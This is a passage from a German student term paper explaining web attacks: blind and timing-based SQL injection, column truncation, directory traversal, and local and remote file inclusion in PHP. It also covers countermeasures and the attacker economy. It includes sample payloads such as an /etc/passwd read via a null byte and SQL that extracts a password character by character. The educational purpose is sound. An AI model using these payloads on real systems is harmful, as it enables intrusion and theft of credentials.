Das größte Problem, mit der der Angreifer bei blinden SQL-Injections zu kämpfen hat ist der Mangel an Rückmeldungen von der Datenbank. Es ist jedoch möglich, die Zeit, die die Datenbank zum Auswerten einer Abfrage benötigt ebenfalls als verwertbare Rückgabe zu definieren [9]. Man kann konditionale Konstrukte in den eingeschleusten SQL-Abfragen zu verwenden, die je nach Auswertung des Konditionals das Ergebnis schnell oder erst nach einer gewissen Zeit zurückliefern. Die meistverwendete Datenbankfunktion zum Verzögern der Ergebnisausgabe ist BENCHMARK(x,fkt), die die übergebene Funktion fkt x-mal ausführt. In Verbindung mit IF(cond, val1, val2), das val1 oder val2 zurückgibt je nachdem ob cond wahr oder falsch ist, ist der Angreifer in der Lage einzelne Zeichen in einem Tabelleneintrag abzufragen, so wie es in Abb. 9 dargestellt ist. In diesem Beispiel wird BENCHMARK() ausgeführt, falls das erste Zeichen von password ein 'a' ist.

```
SELECT IF(SUBSTRING(password,1,1) = CHAR(97),
BENCHMARK(999999,md5(now())), null)
```

Abb. 9

3.1.5.2 Alternative zur Zeitverzögerung

Vor etwa zwei Jahren wurde eine interessante Alternative zur Benchmark-Funktion der SQL-Datenbank vorgeschlagen [6], die effizienter und schneller sein sollte. In derselben Veröffentlichung wurde auch das Ausnutzen von SQL-Injections in `INSERT`- und `UPDATE`-Abfragen erarbeitet, die in SQL-Injections früher nur zum Einfügen und Ändern von Spaltenwerten verwendet werden konnten. Dabei werden grundsätzlich dieselben Datenbankfunktionen wie in der Zeitverzögerungsattacke benötigt; je nach Auswertung eines Konditionals, der als Wert eingefügt wird, kann die Benchmark-Funktion ausgeführt werden oder es wird sofort ein neuer Wert in die Spalte eingefügt (Abb. 10).

```
INSERT INTO table VALUES ('stat','1' and
1=if(ascii(lower(substring((select users from mysql.user limit
1),1,1)))>=254,1,benchmark(999999,md5(now()))) )
```

Abb. 10

Die Alternative zur Zeitverzögerung geht davon aus, in welcher Reihenfolge MySQL die geschachtelten Ausdrücke ausführt und validiert. Gehen wir von der Abfrage in Abb. 11 aus, so sehen wir, dass falls das erste Zeichen im Namen des ersten Datenbankennutzers größer Null ist, was immer zutrifft, dann wird die „1“ mit der „1“ verglichen und die Ausgabe sieht wie gewohnt aus. Vergleichen wir jedoch das erste Zeichen mit „254“, was nie der Fall ist, so wird die „1“ mit einer Ergebnisliste aus „2“ und „3“ verglichen, was zum Fehler „Subquery returns more than 1 row“ führt. Nun ist es ein Leichtes, die Ausgaben der beiden Fälle zu vergleichen und für jedes mögliche Zeichen im Benutzernamen oder Passwort die Abfrage auszuführen. Der Vorteil gegenüber der Benchmark-Funktion ist die geringe Serverlast und die Geschwindigkeit, der Nachteil jedoch sind die vielen Fehlerausgaben im MySQL-Log, sowie die Inkompatiblität zu MySQL 3 und 4.0.

```
select 5 from mysql.user where 1=if(ascii(substring((select user from
mysql.user limit 1),1,1))>0,1,(select 2 union select 3));
```

Abb. 11

3.1.5.3 Überlange SQL-Werte

Eine Attacke, die erst Ende 2008 ausführlich behandelt wurde benutzt das Einfügen von überlangen Stringwerten in eine MySQL-Datenbank. Dabei wird die Tatsache zunutze gemacht, dass die letzten Zeichen eines solchen Wertes beim Einfügen abgeschnitten werden und dass die Leerzeichen am Anfang und Ende dieses Wertes beim Vergleich mit einem anderen String ebenfalls verworfen werden. Diese Attacke wurde erstmals öffentlich bei Wordpress 2.6.1[7] angewandt, welches die SQL-Spalte für Benutzernamen auf 60 Zeichen begrenzt. Es ist daher möglich, einen neuen Benutzernamen zu konstruieren, der beispielsweise dem des Blogadministrators gleicht, jedoch von 60 Leerzeichen und einem zusätzlichen ASCII-Zeichen wie z.B. einem 'x' gefolgt wird. Die Applikation lässt die Neuregistrierung mit einem solchen Namen zu, da beim Durchsuchen der Datenbank ein Benutzername mit dieser Länge nicht gefunden werden kann. Beim Einfügen dieses Benutzers in die Datenbank werden jedoch die letzten Zeichen abgeschnitten, und damit auch das zusätzliche 'x' verworfen. Wird nun versucht, das Passwort des echten Administrators zurückzusetzen, kann die Email-Adresse des neuen Benutzers angegeben werden, da die Datenbankabfrage nach dem Benutzernamen die an den neuen Benutzer angehängten Leerzeichen verwerfen wird. Beim Eingeben des neuen Passworts wird jedoch das Passwort des echten Administrators verändert, da sein Benutzername in dieser Datenbankabfrage verwendet wird, was dem Angreifer Adminstratorrechte verschafft [7].

3.1.5.4 Tabellenaufbau

Werden dem Angreifer keine SQL-Fehlermeldungen ausgegeben, so kann er auch keine klare Vorstellung über Tabellen- und Spaltennamen haben, die zum Einschleusen eigener Abfragen benötigt werden. Die naheliegende Lösung für dieses Problem ist simples Raten; so werden Tabellen mit Benutzerdaten oft „users“ genannt, wobei evtl. ein Prä- oder Suffix angehängt wird. Wurde die Anwendung von einem Entwickler erstellt, wessen Muttersprache nicht Englisch ist, so ist es ratsam, auch Übersetzungen der üblichen Tabellennamen in die gewünschte Sprache nachzuschlagen. Manchmal ist es auch nützlich, die Namen der Form-Felder in der HTML-Ausgabe zu betrachten, um Spaltennamen erfolgreich erraten zu können, da diese oft gleich benannt werden. Schließlich gibt es genügend Applikationen, die das Raten automatisieren können, was jedoch unnötige Fehlereinträge in den Logs produziert und den Server zusätzlich belastet. Handelt es sich um eine Open-Source Anwendung, so liegt es nahe, die Quellen dafür zu studieren und daraus die Tabellen- und Spaltennamen zu entnehmen. Die dritte Möglichkeit eröffnet sich, wenn die Version von dem MySQL-Server 5 oder höher ist; hier hat der Angreifer Zugang zu Tabellen wie „table_name“ und „column_name“ in der Systemdatenbank „information_schema“. Ein einfaches Abfragen dieser Tabellen liefert alle Tabellen- und Spaltennamen in allen vorhandenen Datenbanken auf diesem Server.

3.2 PHP-Sicherheitslücken

3.2.1 Schreiben und Lesen von Dateien

Mit Hilfe solcher Sicherheitslücken kann der Angreifer Schreib- und Leserechte auf dem Dateisystem des Servers erlangen. In beiden Fällen ist die Sicherheit des Servers deutlich beeinträchtigt; Dateien mit kritischen Informationen wie Passwörter können ausgelesen werden, und Dateien mit schädlichem PHP-Code, welches Systemcode ausführt können erstellt oder hochgeladen werden. Unerwünschter Lesezugriff ist meist eine Folge von ungenügendem Filtrieren von Funktionsargumenten in Funktionen wie fopen(), die Dateien öffnen, welche dann mit fread() ausgelesen und angezeigt werden. So wird in Abb. 12 der Pfad der zu öffnenden Datei fast direkt von einer vom Benutzer gesetzten Variable bestimmt, wobei ein fester Ordner, in dem die Datei sich befinden soll, sowie die Dateiendung mit angegeben werden. Ersteres lässt sich einfach durch „Directory Traversal“, also das Durchwandern von Ordnern mittels „.“ und „..“ umgehen, so dass jede Datei, die aus dem Wurzelverzeichnis auf dem Server ausgelesen

7 http://www.milw0rm.com/exploits/6397

werden kann. Die angehängte Dateiendung ist jedoch für den Angreifer oft problematisch; ist aber die PHP-Server-Einstellung `magic_quotes_gpc` auf `off` gesetzt, so können in der `file`-Variable auch NULL-Zeichen mit %00 in der URL übergeben werden. Dieses Symbol wird dann von PHP dank der erwähnten Einstellung nicht mit einem Backslash geschützt und wird als das Ende des Strings interpretiert, so dass alle Zeichen nach dem NULL-Zeichen verworfen werden. So ist es also mit `?file=../../etc/passwd%00` möglich, den Inhalt der passwd-Datei auszulesen, die auf einem Unix-System alle Benutzernamen enthält. Eine andere mögliche Sicherheitslücke in einer Webanwendung basiert darauf, dass der Datentyp der vom Benutzer hochgeladenen Dateien nicht oder unzureichend gefiltert wird. So ist es möglich, vom PHP-Interpreter ausführbare Dateien hochzuladen, die die Dateiendung .php, .php3, .php4 oder .phtml haben. Desweiteren ist es für Local File Inclusions (siehe 3.2.2) oft nötig, eine Datei mit PHP-Code auf den Server hochzuladen; dies ist möglich, wenn Funktionalität wie ein Bildupload geboten wird. So kann man JPG-Bilder mit einem EXIF-Tag hochladen, der PHP-Code enthält und somit Codeausführungsrechte auf dem Server erlangen.

```
<?php
$handle = fopen("/var/pub/" . $_GET['file'] . ".zip", "r");
$contents = fread($handle, filesize($filename));
//[...]
?>
```

Abb. 12

3.2.2 Local File Include und Remote File Include

Webentwickler von PHP-Anwendungen modularisieren oft ihren Code, indem sie verschiedene Funktionen in mehreren Dateien implementieren und diese dann im Hauptprogramm mit PHP-Funktionen wie include() oder require() einbinden, die als Argument den Pfad zu diesen Dateien erwarten. Zudem wird es dem Webseitennutzer häufig ermöglicht, ein solches Modul selbstständig zu laden, indem er den Dateinamen dieser Datei an die Webseite übergibt. Wird also der vom Benutzer übergebene Pfad zum Modul nicht ausreichend gefiltert, ist es unter Umständen möglich, ein schadhaftes Modul, also eine fremde Datei mit PHP-Code einzubinden. Ist man dabei nur in der Lage, lokale Dateien auf dem Webserver zu laden, so spricht man von einer LFI, also einer Local File Include – Sicherheitslücke.

```
<?php
include("/home/www/themes/" . $_GET['theme'] . ".php");
//[...]
?>
```

Abb. 13

In Abb. 13 sieht man ein typisches Beispiel für eine LFI. Es wird erwartet, dass der Benutzer via `?theme=filename` einen Dateinamen ohne Dateiendung angibt, so dass diese Datei mit der Dateiendung .php aus dem Ordner themes geladen und interpretiert werden kann. Mittels Directory-Traversal (siehe 3.2.1) ist es auch hier möglich, einen beliebigen Ordner auf dem Webserver anzugeben, sowie eine beliebige Datei zu laden, indem man mit einem NULL-Zeichen die erzwungene Dateiendung .php abschneidet.

An dieser Stelle sei erwähnt, dass das NULL-Zeichen oft für diese Zwecke missbraucht wird, was eins der Gründe dafür ist, dass die Webadministratoren `magic_quotes_gpc` auf `on` setzen. Bis vor kurzem war jedoch keine Alternative dafür bekannt, was sich jedoch Dezember 2008 geändert hat, als ein Mitglied des sla.cker.es-Forums eine neue Methode zum Abschneiden von der abschließenden Zeichenfolge vorgestellt hat, die dann in [8] veröffentlicht wurde. Dabei nutzt man die Tatsache aus, dass PHP den Pfad zu einer Datei auf die Länge MAXPATHLEN beschneidet, wobei diese Variable auf den meisten UNIX-Systemen den Wert 4096 hat. Ersetzt man nun das NULL-Zeichen mit einer langen Abfolge von „/.“, so wird die angehängte Dateiendung abgeschnitten, und diese Abfolge normalisiert, also ebenfalls abgeschnitten.

Doch wie gelingt es dem Angreifer, eigenen PHP-Code in eine Datei auf dem Server zu schreiben? Eine Möglichkeit wurde bereits angesprochen; wird es dem Benutzer erlaubt, eigene

Bilder oder Dateien hochzuladen, so kann man eigenen Code in einen der EXIF-Tags der JPG oder direkt in den Dateikörper einzuschleusen, denn jegliche Restdaten in der Datei, die nicht zwischen den PHP-Tags <? und ?> stehen verworfen werden. Eine Alternative bietet sich in dem Falle an, wenn der PHP-Nutzer Lesezugriff auf die Webserverlogs hat. Da alle Fehleranfragen an den Server geloggt werden, ist es möglich, via URL eigenen Code in eine der Logdateien einzuschleusen. Schließlich reicht es, diese Logdatei mittels der LFI zu laden und der eingeschleuste Code wird ausgeführt. Die dritte, etwas komplexere Alternative ist das einschleusen von PHP-Code in den eigenen PHP-Sessioncookie.s Solche Cookies werden von PHP-Entwicklern verwendet, um Variablen innerhalb einer Nutzungssitzung zwischen verschiedenen PHP-Skripten auszutauschen. Die Werte dieser Variablen werden also in diesen Cookies sowie auf dem Webserver in einer eigenen Datei abgelegt. Der Name dieser Datei steht dabei in direktem Zusammenhang mit dem Namen des PHP-Sessioncookie, sie wird üblicherweise unter /tmp abgelegt. Sofern die Implementierung der Webapplikation dies also zulässt, kann der Angreifer eigenen PHP-Code in den Cookie einschleusen, und die entsprechende Sessiondatei mittels der LFI-Lücke laden.

Eine für den Angreifer einfacher auszunutzende Sicherheitslücke ist nahezu identisch mit der LFI mit dem Unterschied, dass nicht nur Dateien auf dem Server geladen werden können, sondern jegliche via Web erreichbare Datei nachgeladen werden kann. Dazu werden ebenso die Funktionen wie require() und include() ausgenutzt, vor dem einzuschleusenden Dateinamen ist jedoch kein fester Pfad angegeben, so dass eine Webadresse angegeben werden kann, die vom PHP-Interpreter aufgerufen wird. Diese Attacke wird als Remote File Include bezeichnet. Doch welche Gefahren gehen davon aus, wenn ein Angreifer eigenen PHP-Code ausführen kann? Das größte Risiko geht von Funktionen wie system() aus, die Shell-Befehle direkt auf dem Webserver ausführen können. Damit ist es für den Angreifer möglich, Dateien zu lesen, schreiben und verändern, Backdoors zu installieren sowie mittels eines lokalen Exploits für eine der Systemkomponenten seine Rechte zu erhöhen.

3.2.3 Gefährliche PHP-Funktionen

PHP hat eine Anzahl von Funktionen, die bei unzureichender Filterung der Argumente sich schnell als unsicher erweisen können. Eine davon, die bereits angesprochen wurde ist system(), die es erlaubt, beliebige Shell-Befehle aus dem PHP-Code heraus aufzurufen. Passthru(), exec(), popen() und ``[8] erfüllen diesselbe Funktion wie system(), bergen also dieselben Risiken wie system() in sich. Eine weitere unsichere Funktion ist eval(), die das übergebene Argument als PHP-Code interpretiert, so dass der Angreifer seinerseits einen system()-Aufruf übergeben kann. Eine Funktion, die überraschenderweise ebenfalls Code ausführen kann, ist preg_replace mit dem Argument „/e“, das dann das Ersetzungsargument als PHP-Code ausführt. Alle übergebene Argumente für diese Funktionen sollten sorgfältig gefiltert werden, bevor sie ausgeführt werden.

IV. Schluss

4.1 Gegenmaßnahmen

Ich möchte an dieser Stelle einige mögliche Gegenmaßnahmen zu den hier vorgestellten Sicherheitslücken ansprechen. Es soll erwähnt sein, dass ich auf alle dazu benötigten PHP-Funktionen nicht näher eingehen werde, da dies den Rahmen dieser Hausarbeit sprengen würde. Es ist eine Selbstverständlichkeit, dass der eigentliche Code jegliche Benutzereingabe ausreichend filtern muss. Es gibt jedoch auch einige andere Methoden, eine Webapplikation gegen Angreifer zu schützen. So gibt es mehrere PHP-Einstellungen, die Webanwendungen sicherer machen sollen, so wie beispielsweise magic_quotes_gpc; ist diese Einstellung aktiviert, so werden alle Variablen, die per POST, GET, REQUEST und COOKIE übergeben werden auf

8 Anweisungen zwischen diesen Symbolen werden als PHP-Code ausgeführt

Anführungszeichen und NULL-Bytes gefiltert, indem zu diesen Zeichen Backslashes hinzugefügt werden. Jedoch sollte man bedenken, dass alle anderen Variablen wie User-Agent u.Ä. dadurch nicht gefiltert werden. Zusätzlich kann man eine Webserver-Erweiterung ModSecurity verwenden, um alle Benutzervariablen zu filtern; in den Versionen bis 2.5.9 lassen sich diese Filter jedoch unter Umständen umgehen[9]. Eine einfache Alternative zu ModSecurity sind die Rewrite-Rules in einer .htaccess Datei, eine Lösung, die jedoch sehr rudimentär ist. Weitere PHP-Einstellungen wie safe_mode verhindern es, Shell-Befehle via system() auszuführen oder Dateien aus dem Internet via include() oder require() auszuführen. Für die viele PHP-Versionen gibt es jedoch Methoden, solche Einschränkungen umzugehen; zudem gelten diese Einschränkungen auch für die Entwickler der Webanwendungen, was die Funktionalität einschränken kann.

4.2 Kommerzielle Nutzung

Um ein klares Bild davon zu verschaffen, weshalb man sich die Mühe macht eine Webapplikation anzugreifen, möchte ich zum Schluss die finanzielle Vorteile für einen Angreifer etwas näher betrachten. Bei gezielten Angriffen können solche Vorteile sehr spezifisch sein, allgemein gesehen wird man jedoch immer an dem Datenbankinhalt interessiert sein. Kreditkarteninformationen von mehreren Tausenden von Kunden lassen sich auf dem schwarzen Markt schnell verkaufen, ebenso Kundendaten wie Emailadressen und dazugehörige Namen, die jedoch nur in sehr großen Mengen abgenommen werden. FTP- und Shellaccounts werden ebenfalls gern gekauft, wobei die Nachfrage oft vom jeweiligen Land abhängt, in dem sich der dazugehörige Server befindet. Hat jedoch der Angreifer ausreichend Kontrolle über eine vielbesuchte Webseite, um Iframes einschleusen zu können, so kann er auch diese verkaufen, da so schädliche Software für das Aufstellen oder Aufrechterhalten von Botnets verbreitet werden kann. Hierbei wird die Nachfrage vom jeweiligem Traffic bestimmt, den diese Webseite produziert, da die Verbreitung der Software direkt davon abhängig ist.

Eine in letzter Zeit beliebte Attacke sind die Massenangriffe auf Webserver mit Webapplikationen, die Sicherheitslücken enthalten [10]. Dabei werden oft Botnets damit beauftragt, Anfragen an die gefährdeten Webserver zu senden, die diese Sicherheitslücken ausnutzen und permanente Inhalte wie Iframes in die Webseite einbinden. Die Iframes zwingen wiederum die Webseitenbesucher, Exploit-Bündel herunterzuladen, die ihrerseits schadhafte Software wie Keylogger für Onlinebanking oder Botnetclients auf dem Opfersystem installieren. Die technische Seite hinter diesen Attacken haben wir bereits kennengelernt; es eignet sich jeder Angriff, mit dem sich Webseiteninhalte permanent ändern lassen – von einer aktiven XSS bis zur Shellübernahme durch PHP-Inclusions. Eine interessante, technisch ausgefeiltere Version solcher Angriffe sind Webapplikationswürmer wie z.B. der Lupper-A-Wurm [11]. Dabei übernimmt der infizierte Webserver selbständig die Rolle eines Angreifers sowie eines Botnetclients, der Anweisungen z.B. per IRC entgegennehmen kann. Zudem durchsucht die Wurmmalware, die nun auf dem Webserver läuft automatisch die Securityboards wie Bugtraq nach neuen Websoftwareexploits, findet mit Hilfe von Suchmaschinen angreifbare Webseiten und infiziert diese mit dem eigenen Malwarecode. Zwar sind solche Webserver-Botnets weniger agil und effizient, erfordern jedoch nicht das Aufstellen oder Kaufen eines PC-Botnets. Aus der finanziellen Sicht können solche IFrame-Masseninjections für den Angreifer sehr profitabel sein, da gleichzeitig Tausende von Webnutzern mit Malware infiziert werden können.

~kuze

9 http://www.milw0rm.com/exploits/8930

Bibliographie

[1] Lamere, Paul (2009): Inside the precision hack, In: Music Machinery, URL = <http://musicmachinery.com/2009/04/15/inside-the-precision-hack/>

[2] Fielding, R. et al (1999): Hypertext Transfer Protocol -- HTTP/1.1, URL = <http://tools.ietf.org/html/rfc2616>

[3] Auger, Robert et al (2005): HTTP Response Splitting, In: Web Application Security Consortium, URL = <http://www.webappsec.org/projects/threat/classes/http_response_splitting.shtml>

[4] Raz0r (2008): HTML & JS: взаимодействие с удаленным сервером, In: Raz0r.name — блог о web-безопасности, URL = <http://raz0r.name/articles/html-js-vzaimodejstvie-s-udalennym-serverom/>

[5] RSnake (2007): Samy Worm Analysis, In: ha.ckers.org web application security lab, URL = <http://ha.ckers.org/blog/20070319/samy-worm-analysis/>

[6] Elekt (2007): New Benchmark alternative or effective blind SQL-injection, In: Forum Antichat, URL = <http://www.milw0rm.com/papers/149>

[7] Esser, Stefan (2008): MySQL and SQL Column Truncation Vulnerabilities, In: Suspekt…, URL = <http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/>

[8] Ongaro, F, Pellerano, G. (2009): PHP filesystem attack vectors, In: ush.it - a beautiful place, URL = <http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/>

[9] Zeelock (2005): Blind Sql-Injection in MySQL Databases, In: Bugtraq, URL = <http://seclists.org/bugtraq/2005/Feb/0288.html>

[10] Knop, Dick (2008): Erneuter Massenhack von Webseiten, In: heise online, URL = <http://www.heise.de/newsticker/Erneuter-Massenhack-von-Webseiten--/meldung/107786>

[11] Brenner, Bill (2005): ELupper worm targets Linux systems, In: SearchSecurity, URL = <http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1141351,00.html?track=NL-102&ad=533047USCA>